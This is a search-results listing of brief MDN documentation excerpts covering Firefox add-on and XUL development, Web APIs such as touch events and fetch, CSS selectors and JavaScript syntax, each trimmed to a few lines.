... by setting the url property you can load a new page in the tab: var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { tab.url = "http://www.example.com"; }); run scripts in a tab you can attach a content script to the page hosted in a tab, and use that to access and manipulate the page's content (see the modifying the page hosted by a tab tutorial): var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { var worker = tab.attach({ contentscript: 'self.port.emit("html", document.body.innerhtml);' }); worker.port.on("html", function(message) { console.log(message) }) }); note that tab.attach is tab-centric: if the user navigates to a new page in the same tab, then the worker and content scripts will be reattached to the new page.
...And 23 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the techniques described this article are no longer best practices for web-based development.
...however, these techniques may be relevant when the developer cannot assume that users have a modern browser, such as for html-based e-mail messages.
...back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained.
...And 23 more matches
Tabboxes - Archive of obsolete content
the user can click each tab to see a different set of options.
... xul provides a method to create such dialogs.
... it involves five new elements, which are described briefly here and in more detail below.
...And 23 more matches
XUL controls - Archive of obsolete content
button reference <button type="menu"> a button that has a drop down menu attached to it.
... button reference related elements: menupopup menuitem <button type="menu-button"> a button that that has a separate arrow button with a menu attached to it.
... button reference related elements: menupopup menuitem <checkbox> a control that may be turned on and off, typically used to create options which may be enabled or disabled.
...And 23 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript.
... objective: to understand the basic concepts behind asynchronous programming, and how they manifest in web browsers and javascript.
... asynchronous?
...And 23 more matches
Checking when a deadline is due - Web APIs
in this article we look at a complex example involving checking the current time and date against a deadline stored via indexeddb.
... the main complication here is checking the stored deadline info (month, hour, day, etc.) against the current time and date taken from a date object.
... the main example application we will be referring to in this article is to-do list notifications, a simple to-do list application that stores task titles and deadline times and dates via indexeddb, and then provides users with notifications when deadline dates are reached, via the notification, and vibration apis.
...And 23 more matches
Multi-touch interaction - Web APIs
the touch event interfaces support application-specific single and multi-touch interactions.
... however, the interfaces can be a bit tricky for programmers to use because touch events are very different from other dom input events, such as mouse events.
... the application described in this guide shows how to use touch events for simple single and multi-touch interactions, the basics needed to build application-specific gestures.
...And 23 more matches
Web Speech API - Web APIs
the web speech api enables you to incorporate voice data into web apps.
... the web speech api has two parts: speechsynthesis (text-to-speech), and speechrecognition (asynchronous speech recognition.) web speech concepts and usage the web speech api makes web apps able to handle voice data.
... there are two components to this api: speech recognition is accessed via the speechrecognition interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately.
...And 23 more matches
will-change - CSS: Cascading Style Sheets
the will-change css property hints to browsers how an element is expected to change.
... browsers may set up optimizations before an element is actually changed.
... important: will-change is intended to be used as a last resort, in order to try to deal with existing performance problems.
...And 23 more matches
Array.prototype.forEach() - JavaScript
the foreach() method executes a provided function once for each array element.
... syntax arr.foreach(callback(currentvalue [, index [, array]])[, thisarg]) parameters callback function to execute on each element.
... array optional the array foreach() was called upon.
...And 23 more matches
String.prototype.match() - JavaScript
the match() method retrieves the result of matching a string against a regular expression.
... syntax str.match(regexp) parameters regexp a regular expression object.
... if you don't give any parameter and use the match() method directly, you will get an array with an empty string: [""].
...And 23 more matches
try...catch - JavaScript
the try...catch statement marks a block of statements to try and specifies a response should an exception be thrown.
... syntax try { try_statements } [catch (exception_var_1 if condition_1) { // non-standard catch_statements_1 }] ...
... [catch (exception_var_2) { catch_statements_2 }] [finally { finally_statements }] try_statements the statements to be executed.
...And 23 more matches
panel - Archive of obsolete content
usage this module exports a single constructor function panel() which constructs a new panel.
... panel content the panel's content is specified as html, which is loaded from the url supplied in the contenturl option to the panel's constructor.
... attaching panels to buttons you can attach a panel to a toggle button by passing the button itself as the position option to the panel's show() method or to its constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var sdkpanels = require("sdk/panel"); var self = require("sdk/self"); var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./icon-16.png...
...And 22 more matches
File I/O - Archive of obsolete content
this article describes local file input/output in chrome javascript.
... here are some of the special locations the directory service supports: (scope: d = product-wide, f = profile wide) string scope meaning achrom d %curprocd%/chrome aplugns d %curprocd%/plugins (deprecated - use aplugnsdl) aplugnsdl d comsd n/a %curprocd%/components curprocd n/a current working directory (usually the application's installation directory).
...should be the first choice.
...And 22 more matches
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window.
... if this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want.
...the following features are very important and you should always keep them in mind: chrome.
...And 22 more matches
Localizing an extension - Archive of obsolete content
« previousnext » this article expands upon the previous samples on extension writing by adding localization support to our stock watcher extension.
... performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves.
...download the sample localizing strings in xul files create the needed locale files each xul file that comprises the user interface for your extension should have a locale file in its locale directory.
...And 22 more matches
Writing to Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome!
...an output stream is an object which can be used to write bytes, strings and other values to a file.
...And 22 more matches
nsIWindowWatcher
embedding/components/windowwatcher/public/nsiwindowwatcher.idlscriptable this interface is the keeper of gecko/dom windows.
... inherits from: nsisupports last changed in gecko 0.9.6 usage notes: this component has an activewindow property.
... clients may expect this property to be always current, so to properly integrate this component the application will need to keep it current by setting the property as the active window changes.
...And 22 more matches
Multi-touch interaction - Web APIs
pointer events extend dom input events to support various pointing input devices such as pen/stylus and touch screens as well as mouse.
... pointer events have many similarities to mouse events but they support multiple simultaneous pointers such as multiple fingers on a touch screen.
... this additional feature can be used to provide richer user interaction models but at the cost of additional complexity in the multi-touch interaction handling.
...And 22 more matches
Bootstrapped extensions - Archive of obsolete content
there are several scenarios in which the startup() function may be called; for example: when the extension is first installed, assuming that it's both compatible with the application and is enabled.
... notes on modifying the application user interface chrome.manifest in bootstrapped add-ons you can use a chrome.manifest file in bootstrapped add-ons to: make your add-on's content available via a chrome:// url (using the content, locale, and skin instructions in the manifest).
... replace existing chrome:// uris with your content (using the override instruction).
...And 21 more matches
Custom XUL Elements with XBL - Archive of obsolete content
« previousnext » xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
... the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding.
...many complex elements such as tabs, buttons and input controls are implemented using xbl and simpler xul elements.
...And 21 more matches
Mozilla Documentation Roadmap - Archive of obsolete content
this tutorial was aimed at compiling all the right resources for extension development and putting them in the right context, but there's much more to learn, and knowing how to find it is part of what we felt was necessary to teach.
...it's incredibly comprehensive, and its underlying wiki technology makes it easy to expand and evolve with the help of the community.
...first of all, the in-site search is not reliable, so we recommend using a search engine like google, with queries such as "mdc javascript code modules" or "javascript code modules site:developer.mozilla.org".
...And 21 more matches
Drag and Drop JavaScript Wrapper - Archive of obsolete content
it works by providing an object which implements the event handlers.
... all you have to do is write some simpler functions which work with the data being dragged.
... this drag and drop interface is stored in the global package, in the file chrome://global/content/nsdraganddrop.js.
...And 21 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... about browser.xpi browser.xpi is the xpi archive in which the main components of the mozilla browser are archived for installation.
...a xpi is a pkzip-compressed archive (like zip and jar files) with a special script at the highest level that manages the installation.
...And 21 more matches
ContextMenus - Archive of obsolete content
context menus a context menu is a menu where the items on the menu are specific to the context in which the menu was opened.
... context menu events there are various ways in which a context menu can be opened.
... <hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the event listener attached using the oncontextmenu attribute.
...And 21 more matches
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
just like html tables, you put content such as labels and buttons inside the rows.
... declaring a grid to declare a set of rows, use the rows tag, which should be a child element of grid.
... inside that you should add row elements, which are used for each row.
...And 21 more matches
Updating Commands - Archive of obsolete content
invoking commands if a command has an oncommand attribute, you can invoke it just by using the docommand method of the command or an element which links to it.
...a simple way of doing this is the following: var controller = document.commanddispatcher.getcontrollerforcommand("cmd_paste"); if (controller && controller.iscommandenabled("cmd_paste")){ controller.docommand(command); } the code above first retrieves the controller for the 'cmd_paste' command from the command dispatcher.
... then, it checks to see whether the command is enabled, and then executes the command using the docommand method of the controller.
...And 21 more matches
Using Remote XUL - Archive of obsolete content
the remote xul manager extension lets you manage this whitelist, which is maintained using nsipermissionmanager, by creating entries of type "allowxulxbl", like this: components.classes["@mozilla.org/permissionmanager;1"] .getservice(components.interfaces.nsipermissionmanager) .add(uri, 'allowxulxbl', components.interfaces.nsipermissionmanager.allow_action); xul (pronounced like "zool"), which is short for xml-based user interface language, is an xml-based l...
...after completing the tutorial you should understand how to: create xul documents; serve them from a web server; use cascading style sheets (css) to change their appearance; use javascript to define their behavior.
...it is difficult to discern the site's basic structure and available resources, which makes it hard to locate a particular page or find the one with the information you want.
...And 21 more matches
preference - Archive of obsolete content
each preference element corresponds to a preference which is stored in the user's preferences file.
... you can connect a user interface element such as a checkbox to a preference element using the user interface element's preference attribute.
... attributes disabled, instantapply, inverted, name, onchange, readonly, tabindex, type properties defaultvalue, disabled, hasuservalue, inverted, locked, name, preferences, readonly, tabindex, type, value, valuefrompreferences methods reset examples <preferences> <preference id="pref_id" name="preference.name" type="int"/> </preferences> see preferences system for a complete example.
...And 21 more matches
Mozilla XForms User Interface - Archive of obsolete content
the first is that the changes required for such controls could not be safely made to firefox 1.5 or firefox 2.0.
...for instance, when the spec reaches 'recommendation'-level status.
... appearance - the value provided by the form author gives a hint to the processor as to which widget to use to represent the xforms control.
...And 21 more matches
Mobile touch controls - Game development
overview: control mechanisms next the future of mobile gaming is definitely web, and many developers choose the mobile first approach in their game development process — in the modern world, this generally also involves implementing touch controls.
... in this tutorial, we will see how easy it is to implement mobile controls in an html5 game, and enjoy playing on a mobile touch-enabled device.
...the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose.
...And 21 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
the fetch() method of the windoworworkerglobalscope mixin starts the process of fetching a resource from the network, returning a promise which is fulfilled once the response is available.
...you must use then handlers to check for http errors.
... windoworworkerglobalscope is implemented by both window and workerglobalscope, which means that the fetch() method is available in pretty much any context in which you might want to fetch resources.
...And 21 more matches
Challenge solutions - Developer guides
this page provides solutions to the challenges posed in the css getting started tutorial.
... why use css colors challenge without looking up a reference, find five more color names that work in your stylesheet.
...it also supports some more exotic color names like chartreuse, fuschia, or burlywood.
...And 21 more matches
switch - JavaScript
the switch statement evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case, as well as statements in cases that follow the matching case.
... syntax switch (expression) { case value1: //statements executed when the //result of expression matches value1 [break;] case value2: //statements executed when the //result of expression matches value2 [break;] ...
... case valuen: //statements executed when the //result of expression matches valuen [break;] [default: //statements executed when none of //the values match the value of the expression [break;]] } expression an expression whose result is matched against each case clause.
...And 21 more matches
simple-prefs - Archive of obsolete content
usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ...
... "name": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "this is the default string value" }, { "description": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of attributes.
... hidden a boolean value which, if present and set to true, means that the preference won't appear in the add-ons manager interface, so users of your add-on won't be able to see or alter it.
...And 20 more matches
/loader - Archive of obsolete content
provide an environment for loading commonjs style modules, which makes it possible to consume lots of interesting code that has already been developed.
... secure each module in an isolated js sandbox and makes any capability imports explicit via calls to the require() function.
... provide unload hooks that may be used to undo changes made by anything loaded into it.
...And 20 more matches
Adding menus and submenus - Archive of obsolete content
the menubar element should be a child of a toolbox element because it is treated like another toolbar on systems other than mac os x.
... the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xulschoolhello.greet.long.label;" on...
...command="xulschoolchrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xulschoolhello.greet.custom.label;" oncommand="xulschoolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting.
...And 20 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
basically, you are executing remote code with full chrome access; that is, introducing a remote code execution vulnerability.
...such implementations are meant to be used within a very different security context, namely a website, where the origin of the data is usually known in all instances and where vulnerabilities would have a much smaller impact.
... jsonp, which really is just another script tag containing generated, remotely retrieved code, is generally not secure.
...And 20 more matches
XML - Archive of obsolete content
using a combination of xul's ready-made widgets (e.g., menubar, scrollbar, progressmeter, and so on) and xul's incorporation of such standards as html4, dom1/2, and cascading stylesheets, you can design any interface that you can imagine, using any number of different features, tools, and methodologies.
... html allows some elements, such as <br> and <hr>, to be neither closed nor matched with a closing element.
...it does not describe the way in which this data is to be presented, like its semantically-challenged cousin html does, and it doesn't have much to say about the data itself.
...And 20 more matches
menulist - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that can be used for drop-down choice lists.
...the currently selected choice is displayed on the menulist element.
... to create the drop-down, put a menupopup inside the menulist containing the choices as menuitem elements.
...And 20 more matches
tooltip - Archive of obsolete content
onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened.
... this value can be specified either as a single word offering pre-defined alignment positions, or as 2 words specifying exactly which part of the anchor and popup should be aligned.
... if specified as 2 words, the value indicates which corner or edge of the anchor (the first word) is aligned which which corner of the popup (the second word).
...And 20 more matches
XULRunner tips - Archive of obsolete content
xulrunner 1.8.0 does not load extensions from the application directory; only the xulrunner directory and the user profile directory are checked.
... however, it seems that with xulrunner 1.9 the xulrunner directory is ignored, while the profile and application directories are checked.
... the following prefs must also be set to make the xpinstall dialog, extension manager, and theme manager work: pref("xpinstall.dialog.confirm", "chrome://mozapps/content/xpinstall/xpinstallconfirm.xul"); pref("xpinstall.dialog.progress.skin", "chrome://mozapps/content/extensions/extensions.xul?type=themes"); pref("xpinstall.dialog.progress.chrome", "chrome://mozapps/content/extensions/extensions.xul?type=extensions"); pref("xpinstall.dialog.progress.type.skin", "extension:manager-themes"); pref("xpinstall.dialog.progress.type.chrome", "extension:manager-extensions"); pref("extensions.update.enabled", true); pref("extensions.update.interval", 86400); pref("extensions.dss.enabled", false); pref("extensions.dss.switchpending", false); pref("extensions.ignoremtimechanges", false); pref("extensi...
...And 20 more matches
The First Install Problem - Archive of obsolete content
proposed solution on mac os x, the system's plugins folder will probably suffice as an install location in which browsers installed later can find their plugins.
... write a key under hkey_local_machine\software\mozillaplugins\ which is a vendor-determined plid.
... if the hkey_local_machine\software\mozillaplugins key doesn't exist, create it, and write the vendor-determined plid for each module that the vendor wishes to install.
...And 20 more matches
L10n Checks
l10n checks is a python script and library similar to compare-locales.
... it allows mozilla localizers to easily check their work.
... installation (releases) l10n checks needs to be installed.
...And 20 more matches
nsIApplicationCacheService
netwerk/base/public/nsiapplicationcacheservice.idlscriptable this interface manages the set of application cache groups that manage offline resources for web applications.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void cacheopportunistically(in nsiapplicationcache cache, in acstring key); nsiapplicationcache chooseapplicationcache(in acstring key); nsiapplicationcache createapplicationcache(in acstring group); void deactivategroup(in acstring group); nsiapplicationcache getactivecache(in acstring group); nsiapplicationcache getapplicationcache(in acstring clientid); void getgroups([optional] out unsigned long count, [array, size_is(count), retval] out string groupids); methods cacheopportunistically() flags the specified key as one that should be cached opportunistically.
... note: this method should propagate the entry to other application caches with the same opportunistic namespace; however, this is not currently implemented.
...And 20 more matches
nsIChannelEventSink
netwerk/base/public/nsichanneleventsink.idlscriptable implement this interface to gain control over various channel events, such as redirects.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) channels will try to get this interface from a channel's notificationcallbacks or, if not available there, from the loadgroup's notificationcallbacks.
... note: prior to gecko 2.0, redirect handling was synchronous, using the onchannelredirect() method.
...And 20 more matches
Pinch zoom gestures - Web APIs
there are many types of gestures, from the simple single-touch swipe gesture to the more complex multi-touch twist gesture, where the touch points (aka pointers) move in different directions.
... this example shows how to detect the pinch/zoom gesture, which uses pointer events to detect whether the user moves two pointers closer or farther apart from each other.
...the pinch in (zoom out) gesture, which moves the two pointers toward each other, changes the target element's background color to lightblue.
...And 20 more matches
Touch - Web APIs
WebAPITouch
the touch interface represents a single contact point on a touch-sensitive device.
... the contact point is commonly a finger or stylus and the device may be a touchscreen or trackpad.
... the touch.radiusx, touch.radiusy, and touch.rotationangle describe the area of contact between the user and the screen, the touch area.
...And 20 more matches
:nth-child() - CSS: Cascading Style Sheets
the :nth-child() css pseudo-class matches elements based on their position in a group of siblings.
... /* selects the second <li> element in a list */ li:nth-child(2) { color: lime; } /* selects every fourth element among any group of siblings */ :nth-child(4n) { color: lime; } syntax the nth-child pseudo-class is specified with a single argument that describes a pattern for matching element indices in a list of siblings.
... functional notation <an+b> represents elements in a list whose indices match those found in a custom pattern of numbers, defined by an+b, where: a is an integer step size, b is an integer offset, n is all positive integers, starting from 0.
...And 20 more matches
New Security Model for Web Services - Archive of obsolete content
securing resources from untrusted scripts behind firewalls introduction this page describes an alternative mechanism which can be used to protect all internal resources against requests from sandboxed scripts.
... same source restriction by restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is prevented from accessing resources in the domain into which it has been loaded.
... also, this technique prevents the script from accessing many legitimate external resources not provided in the same domain as the script.
...And 19 more matches
Tree Selection - Archive of obsolete content
getting the selected tree items each item in a tree (that corresponds to treeitem element, if using content tree view) may be selected individually.
...otherwise, the user may select multiple rows, which will not necessarily be contiguous.
... the tree provides a number of functions which can be used to determine whether an item is selected.
...And 19 more matches
Developing cross-browser and cross-platform pages - Archive of obsolete content
an important practice when doing cross-browser, cross-platform pages and dhtml development involves the ability to determine the capabilities of the browser which loads your web page.
... as a web author, you understandably want to avoid script errors and page layout problems and you may want to ensure your scripts reach as wide an audience as possible.
... there are 2 known approaches for such goals: the browser identification approach (also known as useragent string detection and often referred as "browser sniffing") and the object/feature support detection approach.
...And 19 more matches
Processing XML with E4X - Archive of obsolete content
it's been disabled by default for chrome in firefox 17, and completely removed in firefox 21.
...this chapter provides a practical overview of the language; it is not a complete reference.
... a string to the xml constructor: var languages = new xml('<languages type="dynamic"><lang>javascript</lang><lang>python</lang></languages>'); the second is to embed the xml directly in your script, as an xml literal: var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data.
...And 19 more matches
XForms Input Element - Archive of obsolete content
introduction this element is an important and oft-used xforms element to show and change the instance data to which this xforms control is bound (see the spec).
... attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special inputmode - not supported for this control incremental - supported.
... mozilla extensions labelposition - only for boolean types: show the label before or after the checkbox (see below) type restrictions the input element can be bound to a node containing simple content of any data type except xsd:base64binary, xsd:hexbinray or any data type derived from these.
...And 19 more matches
Reviewer Checklist
submitting patches to mozilla source code needn't be complex.
... this article provides a list of best practices for your patch content that reviewers will check for or require.
... in c++, wrapper-cache as needed.
...And 19 more matches
mozISpellCheckingEngine
extensions/spellcheck/idl/mozispellcheckingengine.idlscriptable this interface represents a spelling checker.
... implement this interface to add support for a new spell checking engine.
... inherits from: nsisupports last changed in gecko 1.7 this interface represents a spell checking engine.
...And 19 more matches
CharacterData - Web APIs
the characterdata abstract interface represents a node object that contains characters.
... this is an abstract interface, meaning there aren't any object of type characterdata: it is implemented by other interfaces, like text, comment, or processinginstruction which aren't abstract.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 19 more matches
RTCDataChannel - Web APIs
the rtcdatachannel interface represents a network channel which can be used for bidirectional peer-to-peer transfers of arbitrary data.
... every data channel is associated with an rtcpeerconnection, and each peer connection can have up to a theoretical maximum of 65,534 data channels (the actual limit may vary from browser to browser).
... to create a data channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method.
...And 19 more matches
Choosing between www and non-www URLs - HTTP
a recurring question among website owners is whether to choose non-www or www urls.
... a server isn't necessarily a physical machine: several servers can reside on the same physical machine.
... or, one server can be handled by several machines, cooperating to produce the answer or balancing the load of the requests between them.
...And 19 more matches
passwords - Archive of obsolete content
using this module you can: search for credentials which have been stored in the password manager.
...however, you can use it to work out which stored credentials belong to your add-on by comparing it with the uri property of the self module.
... url the url for the web service which requires the credential.
...And 18 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
an extension package usually contains a "content" provider, which contains the xul code and application logic.
...package structure emptysidebar \- chrome |- content |- locale | \- en-us \- skin create all folders, except for skin.
...chrome/locale/emptysidebar.dtd <!entity emptysidebar.title "emptysidebar"> <!entity openemptysidebar.commandkey "e"> <!entity openemptysidebar.modifierskey "shift accel"> the content folder includes our sidebar, the emptysidebar.xul is shown in example 3.
...And 18 more matches
Getting Started - Archive of obsolete content
a .jar file is in reality a renamed zip archive.
... opening the .jar files in your archive manager of choice should result in the file being automatically detected as being a zip archive.
... however, if your application doesn't detect classic.jar as a standard zip archive, rename the file classic.zip and continue extraction.
...And 18 more matches
Creating a Microsummary - Archive of obsolete content
generators can also be independently downloaded and installed by users if they include a list of pages to which they apply.
... in each step of revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily.
... note: if you are a web site developer, and you want to create microsummaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsummaries on the server-side using the same tools and languages you already use to generate pages.
...And 18 more matches
RDF Datasource How-To - Archive of obsolete content
the xpcom registration parts and the "as of this writing, it is not currently possible to implement javascript xpcom components" comment seem outdated didn't check the whole article.
...it supersedes (and borrows from) the original document put together by robert churchill.
...in the most abstract sense, a datasource is a collection of such statements.
...And 18 more matches
Reading textual data - Archive of obsolete content
in order to read textual data, you need to know which character encoding the data is in.
... files and network sockets contain bytes, not characters - to give these bytes a meaning, you need to know the character encoding.
... xxx: document nsiunicharstreamlistener (gecko 1.8) xxx: also document nsistreamlistener here?
...And 18 more matches
Space Manager Detailed Design - Archive of obsolete content
the band data * indicates which parts of the band are available, and which parts * are unavailable * * the band data that is returned is in the coordinate space of the * local coordinate system.
...the height change always applies to the bottom edge or the existing * rect.
... you specify whether the width change applies to the left or right edge * * returns ns_ok if successful, ns_error_invalid_arg if there is no region * tagged with aframe */ enum affectededge {leftedge, rightedge}; nsresult resizerectregion(nsiframe* aframe, nscoord adeltawidth, nscoord adeltaheight, affectededge aedge = rightedge); /** * offset the region associated with aframe by the specified amount.
...And 18 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
... you might be able to guess that it will cause a match for only one of the photos, the canal photo.
... the others won't be able to match when evaluating the triple.
...And 18 more matches
Result Generation - Archive of obsolete content
that means that rdf is a graph of nodes and arrows between them where each node and arrow has some label.
...the picture was generated from the w3c's rdf validator, a good place to go to check if your rdf is valid.
...once you have selected a starting point, you use a number of statements which indicate where to go next when navigating the graph.
...And 18 more matches
Creating a Window - Archive of obsolete content
the simplest xul file has the following structure: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window> this window will not do anything since it doesn't contain any ui elements.
...you would normally add this line as is at the top of each xul file.
... <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> this line is used to specify the style sheets to use for the file.
...And 18 more matches
Building XULRunner with Python - Archive of obsolete content
this page provides instructions in the hope of eliminating much trial and error.
... development machine setup first a word of warning that zonealarm has exhibited memory leaks that cause build machines to crash with rather spurious errors.
... ensure the pc is running xp with all the latest service packs and patches applied.
...And 18 more matches
Patches and pushes
now that you've made your productization selections, you may be interested in learning the technical aspects behind productization by creating a productization patch.
... below you'll find instructions on creating a patch and pushing it to your repository.
... patchify search plugins are found in browser/searchplugins.
...And 18 more matches
nsICacheSession
netwerk/cache/public/nsicachesession.idlscriptable handles open synchronous and asynchronous cache entry operations along with evicting cache entries and checking for cache devices instantiation according to the session storage policies.
... inherits from: nsisupports last changed in gecko 14 (firefox 14 / thunderbird 14 / seamonkey 2.11) method overview void asyncopencacheentry(in acstring key, in nscacheaccessmode accessrequested, in nsicachelistener listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description doomentriesifexpired prbool expired entries will be doomed or evicted if this attribute is set to true.
... if false, expired entries will be returned (useful for offline mode and clients, such as http, that can update the valid lifetime of cached content).
...And 18 more matches
Using channel messaging - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, or two documents via a sharedworker) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... in this article we'll explore the basics of using this technology.
... use cases channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via iframes, such as games, address book, or an audio player with personalized music choices.
...And 18 more matches
FetchEvent.respondWith() - Web APIs
the respondwith() method of fetchevent prevents the browser's default fetch handling, and allows you to provide a promise for a response yourself.
...for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors".
... you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual".
...And 18 more matches
:nth-last-child() - CSS: Cascading Style Sheets
the :nth-last-child() css pseudo-class matches elements based on their position among a group of siblings, counting from the end.
... /* selects every fourth element among any group of siblings, counting backwards from the last one */ :nth-last-child(4n) { color: lime; } note: this pseudo-class is essentially the same as :nth-child, except it counts items backwards from the end, not forwards from the beginning.
... syntax the nth-last-child pseudo-class is specified with a single argument, which represents the pattern for matching elements, counting from the end.
...And 18 more matches
touch-action - CSS: Cascading Style Sheets
the touch-action css property sets how an element's region can be manipulated by a touchscreen user (for example, by zooming features built into the browser).
... /* keyword values */ touch-action: auto; touch-action: none; touch-action: pan-x; touch-action: pan-left; touch-action: pan-right; touch-action: pan-y; touch-action: pan-up; touch-action: pan-down; touch-action: pinch-zoom; touch-action: manipulation; /* global values */ touch-action: inherit; touch-action: initial; touch-action: unset; by default, panning (scrolling) and pinching gestures are handled exclusively by the browser.
... an application using pointer events will receive a pointercancel event when the browser starts handling a touch gesture.
...And 18 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a url can address.
... content within each <a> should indicate the link's destination.
.../ and \ characters are converted to underscores (_).
...And 18 more matches
Private Properties - Archive of obsolete content
this article discusses two common techniques: one using prefixes, the other closures.
... both approaches have drawbacks, they are either not restrictive enough or too restrictive, respectively.
... a better alternative is to use weakmap objects, which solve both these problems.
...And 17 more matches
Displaying web content in an extension without security issues - Archive of obsolete content
these issues can easily be avoided by making use of the existing security mechanisms in the mozilla codebase.
... the following article explains these security mechanisms, ideally an extension that needs to display web content (which is always potentially dangerous) will use all of them.
... displaying untrusted data as content in firefox, there is a distinction between chrome and content documents.
...And 17 more matches
Observer Notifications - Archive of obsolete content
you could do that by calling all those functions directly, but xpcom offers you a better and cleaner way to achieve that using observers and the observer service.
...the interface has only one method observe() which takes three parameters.
... this example code shows you what an implementation of the nsiobserver interface looks like: let testobserver = { observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { window.alert("data received: " + adata); } } } in order for this observer to work, you need to use the observer service that provides methods for you to add, remove, notify and enumerate observers.
...And 17 more matches
Performance best practices in extensions - Archive of obsolete content
